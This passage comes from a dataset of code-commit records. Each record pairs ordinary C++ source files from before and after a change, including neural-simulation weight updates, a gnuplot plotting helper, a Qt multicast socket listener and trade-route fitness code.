dwMax * pre * post\n * simple: deltaW(t) = a + momentumTau * deltaW(t-1)\n * viscosity: deltaW(t) = momentumTau * (deltaW(t-1) + a) * (1-e^(-deltaT\/momentumTau))\n * alex: deltaW(t) = momentumTau * delta(t-1) - momentumDecay * dwMax * w(t) - a\n *\/\nvoid MomentumConn::ioParam_momentumMethod(enum ParamsIOFlag ioFlag){\n   if(plasticityFlag){\n      parent->ioParamStringRequired(ioFlag, name, \"momentumMethod\", &momentumMethod);\n      if(strcmp(momentumMethod, \"simple\") != 0 &&\n         strcmp(momentumMethod, \"viscosity\") != 0 &&\n         strcmp(momentumMethod, \"alex\")){\n         std::cout << \"MomentumConn \" << name << \": momentumMethod of \" << momentumMethod << \" is not known, options are \\\"simple\\\", \\\"viscosity\\\", and \\\"alex\\\"\\n\";\n         exit(-1);\n      }\n   }\n}\n\nvoid MomentumConn::ioParam_momentumDecay(enum ParamsIOFlag ioFlag){\n   if(plasticityFlag){\n      parent->ioParamValue(ioFlag, name, \"momentumDecay\", &momentumDecay, momentumDecay);\n      if(momentumDecay < 0 || momentumDecay > 1){\n         std::cout << \"MomentumConn \" << name << \": momentumDecay must be between 0 and 1 inclusive\\n\";\n         exit(-1);\n      }\n   }\n}\n\n\n\/\/Copied from HyPerConn, only change is a memcpy from dwweights to prev_dwweights\nint MomentumConn::updateState(double time, double dt){\n   int status = PV_SUCCESS;\n   if( !plasticityFlag ) {\n      return status;\n   }\n   update_timer->start();\n\n   if (!combine_dW_with_W_flag) { clear_dW(); }\n   for(int arborId=0;arborId<numberOfAxonalArborLists();arborId++) {\n      status = calc_dW(arborId);        \/\/ Calculate changes in weights\n      if (status==PV_BREAK) { break; }\n      assert(status == PV_SUCCESS);\n   }\n\n   bool needSynchronizing = keepKernelsSynchronized_flag;\n   needSynchronizing |= sharedWeights && (parent->simulationTime() >= parent->getStopTime()-parent->getDeltaTime());\n   if (needSynchronizing) {\n      for (int arborID = 0; arborID < numberOfAxonalArborLists(); arborID++) {\n         status = reduceKernels(arborID); \/\/ combine partial changes in each column\n         if (status == PV_BREAK) {\n            break;\n         }\n         assert(status == PV_SUCCESS);\n      }\n   }\n\n   \/\/Apply momentum\n   for (int arborID = 0; arborID < numberOfAxonalArborLists(); arborID++) {\n      status = applyMomentum(arborID);\n      if (status == PV_BREAK) {\n         break;\n      }\n      assert(status == PV_SUCCESS);\n   }\n   \n   \/\/Update prev_dwData buffer\n   assert(prev_dwDataStart);\n   \/\/After reduce, copy over to prev_dwData\n   std::memcpy(*prev_dwDataStart, *get_dwDataStart(),\n         sizeof(pvwdata_t) *\n         numberOfAxonalArborLists() * \n         nxp * nyp * nfp *\n         getNumDataPatches());\n\n   for(int arborId=0;arborId<numberOfAxonalArborLists();arborId++){\n      status = updateWeights(arborId);  \/\/ Apply changes in weights\n      if (status==PV_BREAK) { break; }\n      assert(status==PV_SUCCESS);\n   }\n   \/\/ normalizeWeights(); \/\/ normalizeWeights call moved to HyPerCol::advanceTime loop, to allow for normalization of a group of connections\n\n   update_timer->stop();\n   return status;\n}\n\nint MomentumConn::applyMomentum(int arbor_ID){\n   int nExt = preSynapticLayer()->getNumExtended();\n   const PVLayerLoc * loc = preSynapticLayer()->getLayerLoc();\n   if(sharedWeights){\n      int numKernels = getNumDataPatches();\n      \/\/Shared weights done in parallel, parallel in numkernels\n#ifdef PV_USE_OPENMP_THREADS\n#pragma omp parallel for\n#endif\n      for(int kernelIdx = 0; kernelIdx < numKernels; kernelIdx++){\n         pvwdata_t * dwdata_start  = get_dwDataHead(arbor_ID, kernelIdx);\n         pvwdata_t * prev_dw_start = get_prev_dwDataHead(arbor_ID, kernelIdx);\n         pvwdata_t * wdata_start   = get_wDataHead(arbor_ID, kernelIdx);\n         if(!strcmp(momentumMethod, \"simple\")){\n            for(int k = 0; k < nxp*nyp*nfp; k++){\n               dwdata_start[k] += momentumTau * prev_dw_start[k] - momentumDecay*wdata_start[k];\n            }\n         }\n         else if(!strcmp(momentumMethod, \"viscosity\")){\n            for(int k = 0; k < nxp*nyp*nfp; k++){\n               dwdata_start[k] = momentumTau * (prev_dw_start[k] + dwdata_start[k]) * (1 - exp(- parent->getDeltaTime() \/ momentumTau)) - momentumDecay*wdata_start[k];\n            }\n         }\n         else if(!strcmp(momentumMethod, \"alex\")){\n            for(int k = 0; k < nxp*nyp*nfp; k++){\n               dwdata_start[k] = momentumTau * prev_dw_start[k] - (1-momentumDecay) * getDWMax()* wdata_start[k] - dwdata_start[k];\n            }\n         }\n      }\n   }\n   else{\n      std::cout << \"Momentum not implemented for non-shared weights\\n\";\n      exit(-1);\n   }\n   return PV_SUCCESS;\n}\n\n\n\nint MomentumConn::checkpointWrite(const char * cpDir) {\n   HyPerConn::checkpointWrite(cpDir);\n   if (!plasticityFlag) return PV_SUCCESS;\n   char filename[PV_PATH_MAX];\n   int chars_needed = snprintf(filename, PV_PATH_MAX, \"%s\/%s_prev_dW.pvp\", cpDir, name);\n   if(chars_needed >= PV_PATH_MAX) {\n      if ( parent->icCommunicator()->commRank()==0 ) {\n         fprintf(stderr, \"HyPerConn::checkpointFilename error: path \\\"%s\/%s_W.pvp\\\" is too long.\\n\", cpDir, name);\n      }\n      abort();\n   }\n   PVPatch *** patches_arg = sharedWeights ? NULL : get_wPatches();\n   int status = writeWeights(patches_arg, prev_dwDataStart, getNumDataPatches(), filename, parent->simulationTime(), writeCompressedCheckpoints, \/*last*\/true);\n   assert(status==PV_SUCCESS);\n   return PV_SUCCESS;\n}\n\nint MomentumConn::checkpointRead(const char * cpDir, double * timeptr) {\n   HyPerConn::checkpointRead(cpDir, timeptr);\n   if (!plasticityFlag) return PV_SUCCESS;\n   clearWeights(prev_dwDataStart, getNumDataPatches(), nxp, nyp, nfp);\n   char * path = parent->pathInCheckpoint(cpDir, getName(), \"_prev_dW.pvp\");\n   PVPatch *** patches_arg = sharedWeights ? NULL : get_wPatches();\n   double filetime=0.0;\n   int status = PV::readWeights(patches_arg, prev_dwDataStart, numberOfAxonalArborLists(), getNumDataPatches(), nxp, nyp, nfp, path, parent->icCommunicator(), &filetime, pre->getLayerLoc());\n   if (parent->columnId()==0 && timeptr && *timeptr != filetime) {\n      fprintf(stderr, \"Warning: \\\"%s\\\" checkpoint has timestamp %g instead of the expected value %g.\\n\", path, filetime, *timeptr);\n   }\n   free(path);\n   return status;\n}\n\n} \/\/ end namespace PV\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Some fixes<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <cmath>\n#include \"..\/data\/PathSerializer.hpp\"\n#include \"GraphConverter.hpp\"\n\nnamespace tsp\n{\n\n    GraphConverter::GraphConverter()\n        : pathFile_(\"\"), dataFile_(\"\"), plotFile_(\"\"), resultFile_(\"\")\n    {\n    }\n\n    GraphConverter::~GraphConverter()\n    {\n    }\n\n    int GraphConverter::createPlot(Graph &graph, const std::string &pathFile,\n                                   const std::string &resultFile)\n    {\n        pathFile_ = pathFile;\n        dataFile_ = \"tsp.dat\";\n        plotFile_ = \"tsp.plt\";\n        resultFile_ = resultFile;\n\n        \/\/ serialize path\n        Path path;\n\n        PathSerializer::load(path, pathFile_);\n\n        \/\/ write *.dat file\n        std::ofstream os(dataFile_);\n        os << \"#TSP Points\\n\";\n        for(unsigned int i = 0; i < path.size(); ++i) {\n            uint nodeId = path[i];\n            if(nodeId < graph.size())\n                os << graph[nodeId].x() << \" \" << graph[nodeId].y() << std::endl;\n        }\n        os.close();\n\n        \/\/ write *.plt file\n        \/*\n        set style line <index> {{linetype  | lt} <line_type> | <colorspec>}\n                               {{linecolor | lc} <colorspec>}\n                               {{linewidth | lw} <line_width>}\n                               {{pointtype | pt} <point_type>}\n                               {{pointsize | ps} <point_size>}\n                               {palette}\n        *\/\n\n        int wHeight = 600, wWidth = 480;\n        float density = (float)(wHeight * wWidth) \/ (path.size() - 1);\n        float lineWidth = density \/ 3000, pointSize = density \/ 6000;\n\n        os.open(plotFile_, std::ofstream::out);\n        os << \"set terminal svg size \" << wWidth << \",\" << wHeight <<\n           \" fname 'Verdana' fsize 10\" << std::endl;\n        os << \"set output '\" << resultFile_ << \"'\" << std::endl;\n        os << \"set terminal svg enhanced background rgb 'white'\" << std::endl;\n        os << \"set tics font ', 8'\" << std::endl;\n        os << \"set nokey\" << std::endl;\n        os << \"set title 'TSP Graph Visualisation (points: \" << path.size() - 1 << \")'\"\n           << std::endl;\n        os << \"set style line 1 lc rgb '#0060ad' lt 1 lw \" << lineWidth << \" pt 7 ps \"\n           << pointSize << \"   # --- blue\" << std::endl;\n        os << \"plot '\" << dataFile_ << \"' with linespoints ls 1\" << std::endl;\n        os.close();\n\n        return 0;\n    }\n\n    bool GraphConverter::drawGraph()\n    {\n        const std::string cmd = \"gnuplot \" + plotFile_;\n        system(cmd.c_str());\n        \/\/TODO: delete temporary files (tsp.dat and tsp.plt)\n        return true;\n    }\n\n}\n<commit_msg>Change gnuplot commands<commit_after>#include <iostream>\n#include <fstream>\n#include <cmath>\n#include \"..\/data\/PathSerializer.hpp\"\n#include \"GraphConverter.hpp\"\n\nnamespace tsp\n{\n\n    GraphConverter::GraphConverter()\n        : pathFile_(\"\"), dataFile_(\"\"), plotFile_(\"\"), resultFile_(\"\")\n    {\n    }\n\n    GraphConverter::~GraphConverter()\n    {\n    }\n\n    int GraphConverter::createPlot(Graph &graph, const std::string &pathFile,\n                                   const std::string &resultFile)\n    {\n        pathFile_ = pathFile;\n        dataFile_ = \"tsp.dat\";\n        plotFile_ = \"tsp.plt\";\n        resultFile_ = resultFile;\n\n        \/\/ serialize path\n        Path path;\n\n        PathSerializer::load(path, pathFile_);\n\n        \/\/ write *.dat file\n        std::ofstream os(dataFile_);\n        os << \"#TSP Points\\n\";\n        for(unsigned int i = 0; i < path.size(); ++i) {\n            uint nodeId = path[i];\n            if(nodeId < graph.size())\n                os << graph[nodeId].x() << \" \" << graph[nodeId].y() << std::endl;\n        }\n        os.close();\n\n        \/\/ write *.plt file\n        \/*\n        set style line <index> {{linetype  | lt} <line_type> | <colorspec>}\n                               {{linecolor | lc} <colorspec>}\n                               {{linewidth | lw} <line_width>}\n                               {{pointtype | pt} <point_type>}\n                               {{pointsize | ps} <point_size>}\n                               {palette}\n        *\/\n\n        int wHeight = 600, wWidth = 480;\n        float density = (float)(wHeight * wWidth) \/ (path.size() - 1);\n        float lineWidth = density \/ 3000, pointSize = density \/ 6000;\n\n        os.open(plotFile_, std::ofstream::out);\n        os << \"set terminal svg size \" << wWidth << \",\" << wHeight <<\n           \" fname 'Verdana' fsize 10\" << std::endl;\n        os << \"set output '\" << resultFile_ << \"'\" << std::endl;\n        os << \"set terminal svg enhanced background rgb 'white'\" << std::endl;\n        os << \"set tics font ', 8'\" << std::endl;\n        os << \"unset key\" << std::endl;\n        os << \"set title 'TSP Graph Visualisation (points: \" << path.size() - 1 << \")'\"\n           << std::endl;\n        os << \"set style line 1 lc rgb '#0060ad' lt 1 lw \" << lineWidth << \" pt 7 ps \"\n           << pointSize << \"   # --- blue\" << std::endl;\n        os << \"plot '\" << dataFile_ << \"' with linespoints ls 1\" << std::endl;\n\tos << \"quit\" << std::endl;\n        os.close();\n\n        return 0;\n    }\n\n    bool GraphConverter::drawGraph()\n    {\n        const std::string cmd = \"gnuplot \" + plotFile_;\n        system(cmd.c_str());\n        \/\/TODO: delete temporary files (tsp.dat and tsp.plt)\n        return true;\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>C locale toupper\/tolower are simple enough to implement that we can bypass STL's slow locale library and provide a faster \"dumb\" version.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Improved close behaviour<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Process.cpp\n *\n * Copyright (C) 2009-11 by RStudio, Inc.\n *\n * This program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/process\/Process.hpp>\n\n#include <core\/Thread.hpp>\n\n\/\/ NOTE: Boost.Process is a proposed boost library for process management\n\/\/\n\/\/ We have an emdedded version of the library which was download on 7\/18\/2011\n\/\/ from this location (the file stamps embedded in the archive indicate\n\/\/ that the code within was last updated on 2\/11\/2001):\n\/\/\n\/\/   http:\/\/www.highscore.de\/boost\/gsoc2010\/process.zip\n\/\/\n\/\/ Documentation for the library can be found at:\n\/\/\n\/\/   http:\/\/www.highscore.de\/boost\/gsoc2010\/\n\/\/\n\/\/ The following thread includes additional discussion about the\n\/\/ project and its implementation (this thread was in response to the\n\/\/ original posting of the code from gsoc2010):\n\/\/\n\/\/   http:\/\/thread.gmane.org\/gmane.comp.lib.boost.devel\/207594\/\n\/\/\n#include <boost\/process\/all.hpp>\n\n\nnamespace core {\nnamespace supervisor {\n\n\n\n\n} \/\/ namespace supervisor\n} \/\/ namespace core\n<commit_msg>Revert \"add core\/thread header to Process.cpp to eliminate warnings\"<commit_after>\/*\n * Process.cpp\n *\n * Copyright (C) 2009-11 by RStudio, Inc.\n *\n * This program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/process\/Process.hpp>\n\n\/\/ NOTE: Boost.Process is a proposed boost library for process management\n\/\/\n\/\/ We have an emdedded version of the library which was download on 7\/18\/2011\n\/\/ from this location (the file stamps embedded in the archive indicate\n\/\/ that the code within was last updated on 2\/11\/2001):\n\/\/\n\/\/   http:\/\/www.highscore.de\/boost\/gsoc2010\/process.zip\n\/\/\n\/\/ Documentation for the library can be found at:\n\/\/\n\/\/   http:\/\/www.highscore.de\/boost\/gsoc2010\/\n\/\/\n\/\/ The following thread includes additional discussion about the\n\/\/ project and its implementation (this thread was in response to the\n\/\/ original posting of the code from gsoc2010):\n\/\/\n\/\/   http:\/\/thread.gmane.org\/gmane.comp.lib.boost.devel\/207594\/\n\/\/\n#include <boost\/process\/all.hpp>\n\n\nnamespace core {\nnamespace supervisor {\n\n\n\n\n} \/\/ namespace supervisor\n} \/\/ namespace core\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n **\/\n\n#include <QMapIterator>\n#include <QMutableMapIterator>\n#include <QNetworkInterface>\n\n#include \"socketlistener.h\"\n\nSocketListener::SocketListener()\n{\n    connect(&monitor, &InterfaceMonitor::interfaceAdded, this, &SocketListener::addInterface);\n    connect(&monitor, &InterfaceMonitor::interfaceRemoved, this, &SocketListener::removeInterface);\n    connect(&timer, &QTimer::timeout, this, &SocketListener::sendPing);\n    connect(Settings::instance(), &Settings::settingChanged, this, &SocketListener::settingChanged);\n\n    reload();\n}\n\nSocketListener::~SocketListener()\n{\n    QMapIterator<QString, QUdpSocket *> i(sockets);\n\n    while(i.hasNext()) {\n        shutdown(i.next().value(), true);\n    }\n}\n\nvoid SocketListener::start()\n{\n    monitor.start();\n    timer.start();\n}\n\nvoid SocketListener::addInterface(const QString &name)\n{\n    QUdpSocket * socket = new QUdpSocket;\n\n    connect(socket, &QUdpSocket::readyRead, this, &SocketListener::processDatagrams);\n\n    if(initialize(socket, name)) {\n        sockets.insert(name, socket);\n        return;\n    }\n\n    socket->deleteLater();\n}\n\nvoid SocketListener::removeInterface(const QString &name)\n{\n    shutdown(sockets.take(name), true);\n}\n\nvoid SocketListener::sendPing()\n{\n    QMapIterator<QString, QUdpSocket *> i(sockets);\n\n    while(i.hasNext()) {\n        i.next().value()->writeDatagram(Device::current(), multicastAddress, multicastPort);\n    }\n}\n\nvoid SocketListener::processDatagrams()\n{\n    QUdpSocket * socket = qobject_cast<QUdpSocket *>(sender());\n\n    while(socket->hasPendingDatagrams()) {\n        QByteArray data;\n        data.resize(socket->pendingDatagramSize());\n        socket->readDatagram(data.data(), data.size());\n\n        Device device;\n        if(Device::deserialize(data, device)) {\n            emit pingReceived(device);\n        }\n    }\n}\n\nvoid SocketListener::settingChanged(Settings::Key key)\n{\n    if(key == Settings::PingInterval || key == Settings::MulticastAddress ||\n            key == Settings::MulticastPort) {\n        {\n            QMapIterator<QString, QUdpSocket *> i(sockets);\n\n            while(i.hasNext()) {\n                shutdown(i.next().value(), false);\n            }\n        }\n\n        timer.stop();\n        reload();\n        timer.start();\n\n        {\n            QMutableMapIterator<QString, QUdpSocket *> i(sockets);\n\n            while(i.hasNext()) {\n                i.next();\n                if(!initialize(i.value(), i.key())) {\n                    shutdown(i.value(), true);\n                    i.remove();\n                }\n            }\n        }\n    }\n}\n\nvoid SocketListener::reload()\n{\n    timer.setInterval(Settings::get<int>(Settings::PingInterval));\n\n    multicastAddress = QHostAddress(Settings::get<QString>(Settings::MulticastAddress));\n    multicastPort = Settings::get<quint16>(Settings::MulticastPort);\n}\n\nbool SocketListener::initialize(QUdpSocket *socket, const QString &name)\n{\n    QNetworkInterface interface = QNetworkInterface::interfaceFromName(name);\n\n    socket->setMulticastInterface(interface);\n\n    return socket->bind(QHostAddress::AnyIPv6, multicastPort, QUdpSocket::ShareAddress) &&\n            socket->joinMulticastGroup(multicastAddress, interface);\n}\n\nvoid SocketListener::shutdown(QUdpSocket *socket, bool destroy)\n{\n    socket->leaveMulticastGroup(multicastAddress, socket->multicastInterface());\n    socket->close();\n\n    if(destroy) {\n        socket->deleteLater();\n    }\n}\n<commit_msg>Fixed call to setMulticastInterface and added some debug statements.<commit_after>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n **\/\n\n#include <QDebug>\n#include <QMapIterator>\n#include <QMutableMapIterator>\n#include <QNetworkInterface>\n\n#include \"socketlistener.h\"\n\nSocketListener::SocketListener()\n{\n    connect(&monitor, &InterfaceMonitor::interfaceAdded, this, &SocketListener::addInterface);\n    connect(&monitor, &InterfaceMonitor::interfaceRemoved, this, &SocketListener::removeInterface);\n    connect(&timer, &QTimer::timeout, this, &SocketListener::sendPing);\n    connect(Settings::instance(), &Settings::settingChanged, this, &SocketListener::settingChanged);\n\n    reload();\n}\n\nSocketListener::~SocketListener()\n{\n    QMapIterator<QString, QUdpSocket *> i(sockets);\n\n    while(i.hasNext()) {\n        shutdown(i.next().value(), true);\n    }\n}\n\nvoid SocketListener::start()\n{\n    monitor.start();\n    timer.start();\n}\n\nvoid SocketListener::addInterface(const QString &name)\n{\n    QUdpSocket * socket = new QUdpSocket;\n\n    connect(socket, &QUdpSocket::readyRead, this, &SocketListener::processDatagrams);\n\n    if(initialize(socket, name)) {\n        qDebug() << \"Initialized new interface\" << name;\n        sockets.insert(name, socket);\n        return;\n    }\n\n    socket->deleteLater();\n}\n\nvoid SocketListener::removeInterface(const QString &name)\n{\n    qDebug() << \"Removing interface\" << name;\n    shutdown(sockets.take(name), true);\n}\n\nvoid SocketListener::sendPing()\n{\n    QMapIterator<QString, QUdpSocket *> i(sockets);\n\n    while(i.hasNext()) {\n        i.next().value()->writeDatagram(Device::current(), multicastAddress, multicastPort);\n    }\n}\n\nvoid SocketListener::processDatagrams()\n{\n    QUdpSocket * socket = qobject_cast<QUdpSocket *>(sender());\n\n    while(socket->hasPendingDatagrams()) {\n        QByteArray data;\n        data.resize(socket->pendingDatagramSize());\n        socket->readDatagram(data.data(), data.size());\n\n        Device device;\n        if(Device::deserialize(data, device)) {\n            emit pingReceived(device);\n        }\n    }\n}\n\nvoid SocketListener::settingChanged(Settings::Key key)\n{\n    if(key == Settings::PingInterval || key == Settings::MulticastAddress ||\n            key == Settings::MulticastPort) {\n        {\n            QMapIterator<QString, QUdpSocket *> i(sockets);\n\n            while(i.hasNext()) {\n                shutdown(i.next().value(), false);\n            }\n        }\n\n        timer.stop();\n        reload();\n        timer.start();\n\n        {\n            QMutableMapIterator<QString, QUdpSocket *> i(sockets);\n\n            while(i.hasNext()) {\n                i.next();\n                if(!initialize(i.value(), i.key())) {\n                    shutdown(i.value(), true);\n                    i.remove();\n                }\n            }\n        }\n    }\n}\n\nvoid SocketListener::reload()\n{\n    timer.setInterval(Settings::get<int>(Settings::PingInterval));\n\n    multicastAddress = QHostAddress(Settings::get<QString>(Settings::MulticastAddress));\n    multicastPort = Settings::get<quint16>(Settings::MulticastPort);\n}\n\nbool SocketListener::initialize(QUdpSocket *socket, const QString &name)\n{\n    QNetworkInterface interface = QNetworkInterface::interfaceFromName(name);\n\n    if(!socket->bind(QHostAddress::AnyIPv6, multicastPort, QUdpSocket::ShareAddress)) {\n        qDebug() << \"Unable to bind\" << name;\n        return false;\n    }\n\n    socket->setMulticastInterface(interface);\n\n    if(!socket->joinMulticastGroup(multicastAddress, interface)) {\n        qDebug() << \"Unable to join\" << multicastAddress.toString() << \"on\" << name;\n        return false;\n    }\n\n    return true;\n}\n\nvoid SocketListener::shutdown(QUdpSocket *socket, bool destroy)\n{\n    socket->leaveMulticastGroup(multicastAddress, socket->multicastInterface());\n    socket->close();\n\n    if(destroy) {\n        socket->deleteLater();\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"route_segment.h\"\r\n\r\nbool RouteNode::meets_constraints(std::set<u64> &visited){\r\n\tif (!this->memo_constraints.is_initialized()){\r\n\t\tif (this->constraints->require_large_pad && this->station->max_landing_pad_size < 1)\r\n\t\t\tthis->memo_constraints = false;\r\n\t\telse if (this->constraints->avoid_loops && visited.find(this->station->id) != visited.end())\r\n\t\t\tthis->memo_constraints = false;\r\n\t\telse if (!this->previous_segment)\r\n\t\t\tthis->memo_constraints = true;\r\n\t\telse{\r\n\t\t\tvisited.insert(this->station->id);\r\n\t\t\tthis->memo_constraints = this->previous_segment->meets_constraints(visited);\r\n\t\t}\r\n\t}\r\n\treturn this->memo_constraints.value();\r\n}\r\n\r\ndouble RouteNode::get_efficiency_fitness(){\r\n\tif (!this->memo_efficiency_fitness.is_initialized()){\r\n\t\tif (this->constraints->require_large_pad && this->station->max_landing_pad_size < 1)\r\n\t\t\tthis->memo_efficiency_fitness = 0;\r\n\t\telse{\r\n\t\t\tstd::set<u64> visited;\r\n\t\t\tif (!this->meets_constraints(visited))\r\n\t\t\t\tthis->memo_efficiency_fitness = 0;\r\n\t\t\telse\r\n\t\t\t\tthis->memo_efficiency_fitness = this->get_efficiency();\r\n\t\t}\r\n\t}\r\n\treturn this->memo_efficiency_fitness.value();\r\n}\r\n\r\nu64 RouteNode::get_profit_fitness() {\r\n\tif (!this->memo_profit_fitness.is_initialized()){\r\n\t\tif (this->constraints->require_large_pad && this->station->max_landing_pad_size < 1)\r\n\t\t\tthis->memo_profit_fitness = 0;\r\n\t\telse{\r\n\t\t\tstd::set<u64> visited;\r\n\t\t\tvisited.insert(this->station->id);\r\n\t\t\tif (!this->meets_constraints(visited))\r\n\t\t\t\tthis->memo_profit_fitness = 0;\r\n\t\t\telse\r\n\t\t\t\tthis->memo_profit_fitness = this->get_profit();\r\n\t\t}\r\n\t}\r\n\treturn this->memo_profit_fitness.value();\r\n}\r\n\r\ndouble RouteNode::ls_to_cost(double ls){\r\n\treturn ls > 0 ? sqrt(ls) * 1.8973665961010275991993361266596 : 0;\r\n}\r\n\r\ndouble RouteNode::get_cost(bool ignore_src, bool ignore_dst) const{\r\n\tif (!this->previous_segment)\r\n\t\treturn 0;\r\n\tdouble ret = this->approximate_distance \/ 7.5 * 30;\r\n\tdouble ls = 0;\r\n\tauto station_src = previous_segment->station;\r\n\tif (station_src->system->id == this->station->system->id){\r\n\t\tif (!station_src->distance_to_star.is_initialized() && !this->station->distance_to_star.is_initialized())\r\n\t\t\tls = 2500;\r\n\t\telse{\r\n\t\t\tls = station_src->distance_to_star.value_or(5000) - this->station->distance_to_star.value_or(5000);\r\n\t\t\tif (ls < 0)\r\n\t\t\t\tls = -ls;\r\n\t\t}\r\n\t}else{\r\n\t\tif (!ignore_src)\r\n\t\t\tls += station_src->distance_to_star.value_or(5000);\r\n\t\tif (!ignore_dst)\r\n\t\t\tls += this->station->distance_to_star.value_or(5000);\r\n\t}\r\n\tret += this->ls_to_cost(ls);\r\n\treturn ret;\r\n}\r\n\r\nunsigned RouteNode::get_max_quantity(){\r\n\tif (!this->previous_segment)\r\n\t\tthrow std::exception(\"Incorrect implementation\");\r\n\tif (!this->memo_quantity.is_initialized()){\r\n\t\tauto sell_price = this->previous_segment->station->find_sell_price(this->commodity);\r\n\t\tauto ret = std::min(unsigned(this-> available_funds \/ sell_price), this->constraints->max_capacity);\r\n\t\tthis->memo_expenditure = ret * sell_price;\r\n\t\tthis->memo_quantity = ret;\r\n\t}\r\n\treturn this->memo_quantity.value();\r\n}\r\n\r\nvoid RouteNode::get_funds(){\r\n\tassert(this->previous_segment);\r\n\tthis->available_funds = this->previous_segment->available_funds + (u64)this->previous_segment->get_segment_profit();\r\n}\r\n\r\nu64 RouteNode::get_segment_profit(){\r\n\tif (!this->previous_segment || !this->commodity)\r\n\t\treturn 0;\r\n\treturn this->get_max_quantity() * this->profit_per_unit;\r\n}\r\n\r\nRouteNodeInterop *RouteNode::to_interop(){\r\n\tauto ret = new RouteNodeInterop;\r\n\tmemset(ret, 0, sizeof(*ret));\r\n\tret->station_id = this->station->id;\r\n\tret->system_id = this->station->system->id;\r\n\tif (this->previous_segment){\r\n\t\tret->previous = this->previous_segment->to_interop();\r\n\t\tif (this->commodity){\r\n\t\t\tret->commodity_id = this->commodity->id;\r\n\t\t\tret->quantity = this->get_max_quantity();\r\n\t\t\tret->expenditure = this->get_segment_expenditure();\r\n\t\t}else\r\n\t\t\tret->commodity_id = std::numeric_limits<decltype(ret->commodity_id)>::max();\r\n\t\tret->profit_per_unit = this->profit_per_unit;\r\n\t\tret->efficiency = this->get_efficiency();\r\n\t\tret->accumulated_profit = this->get_profit();\r\n\t\tret->cost = this->get_cost();\r\n\t}\r\n\treturn ret;\r\n}\r\n<commit_msg>Fixed bug again in duplicate code.<commit_after>#include \"route_segment.h\"\r\n\r\nbool RouteNode::meets_constraints(std::set<u64> &visited){\r\n\tif (!this->memo_constraints.is_initialized()){\r\n\t\tif (this->constraints->require_large_pad && this->station->max_landing_pad_size < 1)\r\n\t\t\tthis->memo_constraints = false;\r\n\t\telse if (this->constraints->avoid_loops && visited.find(this->station->id) != visited.end())\r\n\t\t\tthis->memo_constraints = false;\r\n\t\telse if (!this->previous_segment)\r\n\t\t\tthis->memo_constraints = true;\r\n\t\telse{\r\n\t\t\tvisited.insert(this->station->id);\r\n\t\t\tthis->memo_constraints = this->previous_segment->meets_constraints(visited);\r\n\t\t}\r\n\t}\r\n\treturn this->memo_constraints.value();\r\n}\r\n\r\ndouble RouteNode::get_efficiency_fitness(){\r\n\tif (!this->memo_efficiency_fitness.is_initialized()){\r\n\t\tif (this->constraints->require_large_pad && this->station->max_landing_pad_size < 1)\r\n\t\t\tthis->memo_efficiency_fitness = 0;\r\n\t\telse{\r\n\t\t\tstd::set<u64> visited;\r\n\t\t\tif (!this->meets_constraints(visited))\r\n\t\t\t\tthis->memo_efficiency_fitness = 0;\r\n\t\t\telse\r\n\t\t\t\tthis->memo_efficiency_fitness = this->get_efficiency();\r\n\t\t}\r\n\t}\r\n\treturn 